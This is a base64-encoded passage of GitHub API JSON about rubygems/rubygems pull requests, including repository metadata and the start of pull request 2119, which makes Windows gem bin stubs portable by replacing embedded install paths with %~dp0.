R0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy90YWdzIiwiYmxvYnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvYmxvYnN7L3NoYX0iLCJnaXRfdGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC90YWdzey9zaGF9IiwiZ2l0X3JlZnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvcmVmc3svc2hhfSIsInRyZWVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RyZWVzey9zaGF9Iiwic3RhdHVzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGF0dXNlcy97c2hhfSIsImxhbmd1YWdlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2xhbmd1YWdlcyIsInN0YXJnYXplcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdGFyZ2F6ZXJzIiwiY29udHJpYnV0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29udHJpYnV0b3JzIiwic3Vic2NyaWJlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9zdWJzY3JpYmVycyIsInN1YnNjcmlwdGlvbl91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N1YnNjcmlwdGlvbiIsImNvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21taXRzey9zaGF9IiwiZ2l0X2NvbW1pdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvY29tbWl0c3svc2hhfSIsImNvbW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tbWVudHN7L251bWJlcn0iLCJpc3N1ZV9jb21tZW50X3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2NvbW1lbnRzey9udW1iZXJ9IiwiY29udGVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250ZW50cy97K3BhdGh9IiwiY29tcGFyZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbXBhcmUve2Jhc2V9Li4ue2hlYWR9IiwibWVyZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWVyZ2VzIiwiYXJjaGl2ZV91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3thcmNoaXZlX2Zvcm1hdH17L3JlZn0iLCJkb3dubG9hZHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kb3dubG9hZHMiLCJpc3N1ZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXN7L251bWJlcn0iLCJwdWxsc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzey9udW1iZXJ9IiwibWlsZXN0b25lc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL21pbGVzdG9uZXN7L251bWJlcn0iLCJub3RpZmljYXRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbm90aWZpY2F0aW9uc3s/c2luY2UsYWxsLHBhcnRpY2lwYXRpbmd9IiwibGFiZWxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFiZWxzey9uYW1lfSIsInJlbGVhc2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcmVsZWFzZXN7L2lkfSIsImRlcGxveW1lbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZGVwbG95bWVudHMiLCJjcmVhdGVkX2F0IjoiMjAxMC0wNC0xNlQxOTowMjo0NFoiLCJ1cGRhdGVkX2F0IjoiMjAxOC0wMS0wNVQxOTozNjowNloiLCJwdXNoZWRfYXQiOiIyMDE4LTAxLTA1VDA4OjIwOjM1WiIsImdpdF91cmwiOiJnaXQ6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zLmdpdCIsInNzaF91cmwiOiJnaXRAZ2l0aHViLmNvbTpydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJjbG9uZV91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMuZ2l0Iiwic3ZuX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2VtcyIsImhvbWVwYWdlIjoiaHR0cHM6Ly9ydWJ5Z2Vtcy5vcmcvIiwic2l6ZSI6MTQyOTAsInN0YXJnYXplcnNfY291bnQiOjE5MDYsIndhdGNoZXJzX2NvdW50IjoxOTA2LCJsYW5ndWFnZSI6IlJ1YnkiLCJoYXNfaXNzdWVzIjp0cnVlLCJoYXNfcHJvamVjdHMiOmZhbHNlLCJoYXNfZG93bmxvYWRzIjp0cnVlLCJoYXNfd2lraSI6ZmFsc2UsImhhc19wYWdlcyI6ZmFsc2UsImZvcmtzX2NvdW50Ijo5NTksIm1pcnJvcl91cmwiOm51bGwsImFyY2hpdmVkIjpmYWxzZSwib3Blbl9pc3N1ZXNfY291bnQiOjE2MiwibGljZW5zZSI6eyJrZXkiOiJvdGhlciIsIm5hbWUiOiJPdGhlciIsInNwZHhfaWQiOm51bGwsInVybCI6bnVsbH0sImZvcmtzIjo5NTksIm9wZW5faXNzdWVzIjoxNjIsIndhdGNoZXJzIjoxOTA2LCJkZWZhdWx0X2JyYW5jaCI6Im1hc3RlciJ9fSwiYmFzZSI6eyJsYWJlbCI6InJ1YnlnZW1zOm1hc3RlciIsInJlZiI6Im1hc3RlciIsInNoYSI6ImZmOTg2ZDQ5NTBhYjNhZTI3NDhjMjYyN2Q3ODA0MzhjNzI5NTQ2MTYiLCJ1c2VyIjp7ImxvZ2luIjoicnVieWdlbXMiLCJpZCI6MjA4NzYxLCJhdmF0YXJfdXJsIjoiaHR0cHM6Ly9hdmF0YXJzMC5naXRodWJ1c2VyY29udGVudC5jb20vdS8yMDg3NjE/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMiLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJPcmdhbml6YXRpb24iLCJzaXRlX2FkbWluIjpmYWxzZX0sInJlcG8iOnsiaWQiOjYxNDA3MCwibmFtZSI6InJ1YnlnZW1zIiwiZnVsbF9uYW1lIjoicnVieWdlbXMvcnVieWdlbXMiLCJvd25lciI6eyJsb2dpbiI6InJ1YnlnZW1zIiwiaWQiOjIwODc2MSwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczAuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMjA4NzYxP3Y9NCIsImdyYXZhdGFyX2lkIjoiIiwidXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2VtcyIsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zIiwiZm9sbG93ZXJzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93ZXJzIiwiZm9sbG93aW5nX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZm9sbG93aW5ney9vdGhlcl91c2VyfSIsImdpc3RzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvZ2lzdHN7L2dpc3RfaWR9Iiwic3RhcnJlZF91cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL3N0YXJyZWR7L293bmVyfXsvcmVwb30iLCJzdWJzY3JpcHRpb25zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvcnVieWdlbXMvc3Vic2NyaXB0aW9ucyIsIm9yZ2FuaXphdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9vcmdzIiwicmVwb3NfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZXBvcyIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL3J1YnlnZW1zL2V2ZW50c3svcHJpdmFjeX0iLCJyZWNlaXZlZF9ldmVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9ydWJ5Z2Vtcy9yZWNlaXZlZF9ldmVudHMiLCJ0eXBlIjoiT3JnYW5pemF0aW9uIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJwcml2YXRlIjpmYWxzZSwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMiLCJkZXNjcmlwdGlvbiI6IkxpYnJhcnkgcGFja2FnaW5nIGFuZCBkaXN0cmlidXRpb24gZm9yIFJ1YnkuIiwiZm9yayI6ZmFsc2UsInVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMiLCJmb3Jrc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2ZvcmtzIiwia2V5c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2tleXN7L2tleV9pZH0iLCJjb2xsYWJvcmF0b3JzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29sbGFib3JhdG9yc3svY29sbGFib3JhdG9yfSIsInRlYW1zX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvdGVhbXMiLCJob29rc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2hvb2tzIiwiaXNzdWVfZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzL2V2ZW50c3svbnVtYmVyfSIsImV2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2V2ZW50cyIsImFzc2lnbmVlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Fzc2lnbmVlc3svdXNlcn0iLCJicmFuY2hlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2JyYW5jaGVzey9icmFuY2h9IiwidGFnc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3RhZ3MiLCJibG9ic191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9ibG9ic3svc2hhfSIsImdpdF90YWdzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvZ2l0L3RhZ3N7L3NoYX0iLCJnaXRfcmVmc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9yZWZzey9zaGF9IiwidHJlZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9naXQvdHJlZXN7L3NoYX0iLCJzdGF0dXNlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXR1c2VzL3tzaGF9IiwibGFuZ3VhZ2VzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbGFuZ3VhZ2VzIiwic3RhcmdhemVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N0YXJnYXplcnMiLCJjb250cmlidXRvcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb250cmlidXRvcnMiLCJzdWJzY3JpYmVyc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3N1YnNjcmliZXJzIiwic3Vic2NyaXB0aW9uX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3Vic2NyaXB0aW9uIiwiY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbW1pdHN7L3NoYX0iLCJnaXRfY29tbWl0c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2dpdC9jb21taXRzey9zaGF9IiwiY29tbWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9jb21tZW50c3svbnVtYmVyfSIsImlzc3VlX2NvbW1lbnRfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9pc3N1ZXMvY29tbWVudHN7L251bWJlcn0iLCJjb250ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2NvbnRlbnRzL3srcGF0aH0iLCJjb21wYXJlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvY29tcGFyZS97YmFzZX0uLi57aGVhZH0iLCJtZXJnZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9tZXJnZXMiLCJhcmNoaXZlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMve2FyY2hpdmVfZm9ybWF0fXsvcmVmfSIsImRvd25sb2Fkc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2Rvd25sb2FkcyIsImlzc3Vlc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL2lzc3Vlc3svbnVtYmVyfSIsInB1bGxzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHN7L251bWJlcn0iLCJtaWxlc3RvbmVzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvbWlsZXN0b25lc3svbnVtYmVyfSIsIm5vdGlmaWNhdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9ub3RpZmljYXRpb25zez9zaW5jZSxhbGwscGFydGljaXBhdGluZ30iLCJsYWJlbHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9sYWJlbHN7L25hbWV9IiwicmVsZWFzZXNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9yZWxlYXNlc3svaWR9IiwiZGVwbG95bWVudHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9kZXBsb3ltZW50cyIsImNyZWF0ZWRfYXQiOiIyMDEwLTA0LTE2VDE5OjAyOjQ0WiIsInVwZGF0ZWRfYXQiOiIyMDE4LTAxLTA1VDE5OjM2OjA2WiIsInB1c2hlZF9hdCI6IjIwMTgtMDEtMDVUMDg6MjA6MzVaIiwiZ2l0X3VybCI6ImdpdDovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMuZ2l0Iiwic3NoX3VybCI6ImdpdEBnaXRodWIuY29tOnJ1YnlnZW1zL3J1YnlnZW1zLmdpdCIsImNsb25lX3VybCI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy5naXQiLCJzdm5fdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zIiwiaG9tZXBhZ2UiOiJodHRwczovL3J1YnlnZW1zLm9yZy8iLCJzaXplIjoxNDI5MCwic3RhcmdhemVyc19jb3VudCI6MTkwNiwid2F0Y2hlcnNfY291bnQiOjE5MDYsImxhbmd1YWdlIjoiUnVieSIsImhhc19pc3N1ZXMiOnRydWUsImhhc19wcm9qZWN0cyI6ZmFsc2UsImhhc19kb3dubG9hZHMiOnRydWUsImhhc193aWtpIjpmYWxzZSwiaGFzX3BhZ2VzIjpmYWxzZSwiZm9ya3NfY291bnQiOjk1OSwibWlycm9yX3VybCI6bnVsbCwiYXJjaGl2ZWQiOmZhbHNlLCJvcGVuX2lzc3Vlc19jb3VudCI6MTYyLCJsaWNlbnNlIjp7ImtleSI6Im90aGVyIiwibmFtZSI6Ik90aGVyIiwic3BkeF9pZCI6bnVsbCwidXJsIjpudWxsfSwiZm9ya3MiOjk1OSwib3Blbl9pc3N1ZXMiOjE2Miwid2F0Y2hlcnMiOjE5MDYsImRlZmF1bHRfYnJhbmNoIjoibWFzdGVyIn19LCJfbGlua3MiOnsic2VsZiI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8yMTI4In0sImh0bWwiOnsiaHJlZiI6Imh0dHBzOi8vZ2l0aHViLmNvbS9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxsLzIxMjgifSwiaXNzdWUiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMjgifSwiY29tbWVudHMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMjgvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnRzIjp7ImhyZWYiOiJodHRwczovL2FwaS5naXRodWIuY29tL3JlcG9zL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGxzLzIxMjgvY29tbWVudHMifSwicmV2aWV3X2NvbW1lbnQiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvY29tbWVudHN7L251bWJlcn0ifSwiY29tbWl0cyI6eyJocmVmIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS9yZXBvcy9ydWJ5Z2Vtcy9ydWJ5Z2Vtcy9wdWxscy8yMTI4L2NvbW1pdHMifSwic3RhdHVzZXMiOnsiaHJlZiI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvc3RhdHVzZXMvNDUwYzI4NzRlODYwNzE3OTBiYmFhM2RlZmFlMzY0NmRmYzM0MTY3NCJ9fSwiYXV0aG9yX2Fzc29jaWF0aW9uIjoiT1dORVIifSx7InVybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvcHVsbHMvMjExOSIsImlkIjoxNTk0NTUwNTAsImh0bWxfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExOSIsImRpZmZfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExOS5kaWZmIiwicGF0Y2hfdXJsIjoiaHR0cHM6Ly9naXRodWIuY29tL3J1YnlnZW1zL3J1YnlnZW1zL3B1bGwvMjExOS5wYXRjaCIsImlzc3VlX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vcmVwb3MvcnVieWdlbXMvcnVieWdlbXMvaXNzdWVzLzIxMTkiLCJudW1iZXIiOjIxMTksInN0YXRlIjoib3BlbiIsImxvY2tlZCI6ZmFsc2UsInRpdGxlIjoiTWFrZSBXaW5kb3dzIGJpbiBzdHVicyBwb3J0YWJsZSIsInVzZXIiOnsibG9naW4iOiJNU1AtR3JlZyIsImlkIjoxNTA4MTE3NiwiYXZhdGFyX3VybCI6Imh0dHBzOi8vYXZhdGFyczMuZ2l0aHVidXNlcmNvbnRlbnQuY29tL3UvMTUwODExNzY/dj00IiwiZ3JhdmF0YXJfaWQiOiIiLCJ1cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnIiwiaHRtbF91cmwiOiJodHRwczovL2dpdGh1Yi5jb20vTVNQLUdyZWciLCJmb2xsb3dlcnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9mb2xsb3dlcnMiLCJmb2xsb3dpbmdfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9mb2xsb3dpbmd7L290aGVyX3VzZXJ9IiwiZ2lzdHNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9naXN0c3svZ2lzdF9pZH0iLCJzdGFycmVkX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvc3RhcnJlZHsvb3duZXJ9ey9yZXBvfSIsInN1YnNjcmlwdGlvbnNfdXJsIjoiaHR0cHM6Ly9hcGkuZ2l0aHViLmNvbS91c2Vycy9NU1AtR3JlZy9zdWJzY3JpcHRpb25zIiwib3JnYW5pemF0aW9uc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL29yZ3MiLCJyZXBvc191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3JlcG9zIiwiZXZlbnRzX3VybCI6Imh0dHBzOi8vYXBpLmdpdGh1Yi5jb20vdXNlcnMvTVNQLUdyZWcvZXZlbnRzey9wcml2YWN5fSIsInJlY2VpdmVkX2V2ZW50c191cmwiOiJodHRwczovL2FwaS5naXRodWIuY29tL3VzZXJzL01TUC1HcmVnL3JlY2VpdmVkX2V2ZW50cyIsInR5cGUiOiJVc2VyIiwic2l0ZV9hZG1pbiI6ZmFsc2V9LCJib2R5IjoiIyBEZXNjcmlwdGlvbjpcclxuXHJcbldpbmRvd3MgYmluIHN0dWJzIGZvciBpbnN0YWxsZWQgZ2VtcyBhcmUgbm90IHBvcnRhYmxlIGR1ZSB0byB0aGUgZmFjdCB0aGF0IHRoZSBwYXRoIChhdCBpbnN0YWxsIHRpbWUpIGlzICBlbWJlZGRlZCBpbiB0aGUgLmJhdCBvciAuY21kIGZpbGUuICBUaGlzIHBhdGNoIHJlbW92ZXMgdGhlIHBhdGggYW5kIHJlcGxhY2VzIHdpdGggYCV+ZHAwYCwgd2hpY2ggaXMgdGhlIHdpbmRvd3MgY21kIHZhcmlhYmxlIGZvciB0aGUgcnVubmluZyBzY3JpcHQncyBwYXRoLlxyXG5cclxuSXQgcGFzc2VkIHRlc3RzIGxvY2FsbHksIGFuZCBJIHBhdGNoZWQgYSBmcmVzaCAyLjQuMyBpbnN0YWxsIHdpdGggaXQgYW5kIHVwZGF0ZWQvaW5zdGFsbGVkIGJ1bmRsZXIgYW5kIHJha2UuICBJIGV2ZW4gYWRkZWQgYSBzcGFjZSB0byB0aGUgcGF0aCBhbmQgYWxsIGNvbW1hbmRzIGNvcnJlY3R5IHJhbiBmcm9tIGEgY29tbWFuZCBwcm9tcHQuXHJcblxyXG5TZWUgIzIxMTFcclxuXHJcbl9fX19fX19fX19fX19fXHJcblxyXG4jIFRhc2tzOlxyXG5cclxuLSBbWF0gRGVzY3JpYmUgdGhlIHByb2JsZW0gLyBmZWF0dXJlXHJcbi0gWyBdIFdyaXRlIHRlc3RzXHJcbi0gW1hdIFdyaXRlIGNvZGUgdG8gc29sdmUgdGhlIHByb2JsZW1cclxuLSBbIF0gR2V0IGNvZGUgcmV2aWV3IGZyb20gY293b3JrZXJzIC8gZnJpZW5kc1xyXG5cclxuSSB3aWxsIGFiaWRlIGJ5IHRoZSBbY29kZSBvZiBjb25kdWN0XShodHRwczovL2dpdGh1Yi5jb20vcnVieWdlbXMvcnVieWdlbXMvYmxvYi9tYXN0ZXIvQ09ERV9PRl9DT05EVUNULm1kKS5cclxuIiwiY3JlYXRlZF9hdCI6IjIwMTctMTItMjBUMTY6MDY6MzVaIiwidXBkYXRlZF9hdCI6IjIwMTctMTItMjlUMTg6NDA6MzBaIiwiY2xvc2VkX2F0IjpudWxsLCJtZXJnZWRfYXQiOm51bGwsIm1lcmdlX2NvbW1pdF9zaGEiOiJkODFmYmU2NDkzMjMzOThlNGV